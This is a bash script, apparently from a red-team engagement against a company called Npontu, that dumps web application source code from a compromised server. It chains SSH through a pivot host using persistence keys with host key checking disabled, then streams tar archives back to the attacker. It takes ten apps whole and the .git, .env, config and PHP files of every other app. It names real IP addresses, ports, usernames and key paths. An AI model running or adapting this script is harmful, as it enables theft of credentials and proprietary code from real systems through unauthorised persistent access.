#!/bin/bash
# Selective source dump: top-10 apps full + configs/.git for rest
set -u
OUTDIR=/root/ir-assessment/redteam/gitlab_npontutechnologies_com/exfil_hostB_source_selective
mkdir -p "$OUTDIR"

# Top-10 by size (excluding KedebahV2* which are 91G total - too big, take config only)
TOP10_FULL="
npontulive
NYMZIE
new_company_web
Eliberia
agiesc_website
clean_new_mtnmessnger
cihrm_website
accelerate360
moyde
104anc-wordpress
"

# All apps for config/.git dump
ALL_APPS=$(ssh -i /root/.ssh/npontu_persist_20260817 -p 1425 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no pontian@65.109.51.221 \
  "ssh -i /home/pontian/.tmp_k/ek -p 2304 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no npontucontrl@138.201.221.144 \
  'ls /var/www/html'" 2>/dev/null)

echo "=== SELECTIVE SOURCE DUMP ==="
echo "Top-10 full: $TOP10_FULL"
echo ""

# Phase 1: top-10 full (excluding node_modules/vendor but keep .git)
for app in $TOP10_FULL; do
  out="$OUTDIR/${app}_full.tar.gz"
  [ -s "$out" ] && { echo "[SKIP] $app"; continue; }
  echo "[*] $app full..."
  ssh -i /root/.ssh/npontu_persist_20260817 -p 1425 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no pontian@65.109.51.221 \
    "ssh -i /home/pontian/.tmp_k/ek -p 2304 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no npontucontrl@138.201.221.144 \
    \"tar czf - -C /var/www/html --exclude=node_modules --exclude=vendor --exclude=storage/logs --exclude=*.log --exclude=*.zip '$app' 2>/dev/null\"" \
    > "$out" 2>>"$OUTDIR/errors.log"
  rc=$?
  [ $rc -eq 0 ] && [ -s "$out" ] && echo "[OK] $app $(du -sh "$out" | cut -f1)" || { echo "[FAIL] $app"; rm -f "$out"; }
done

# Phase 2: config/.git for ALL apps (including top-10 for completeness)
echo ""
echo "=== PHASE 2: configs + .git for all apps ==="
for app in $ALL_APPS; do
  out="$OUTDIR/${app}_configs.tar.gz"
  [ -s "$out" ] && continue
  # skip if full already done
  [ -s "$OUTDIR/${app}_full.tar.gz" ] && continue
  ssh -i /root/.ssh/npontu_persist_20260817 -p 1425 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no pontian@65.109.51.221 \
    "ssh -i /home/pontian/.tmp_k/ek -p 2304 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no npontucontrl@138.201.221.144 \
    \"tar czf - -C /var/www/html '$app'/.git '$app'/.env* '$app'/config '$app'/*.json '$app'/*.yml '$app'/*.yaml '$app'/*.php 2>/dev/null\"" \
    > "$out" 2>/dev/null
  [ -s "$out" ] || rm -f "$out"
done

echo ""
echo "=== DONE ==="
ls -la "$OUTDIR"/*.tar.gz 2>/dev/null | wc -l
du -sh "$OUTDIR"
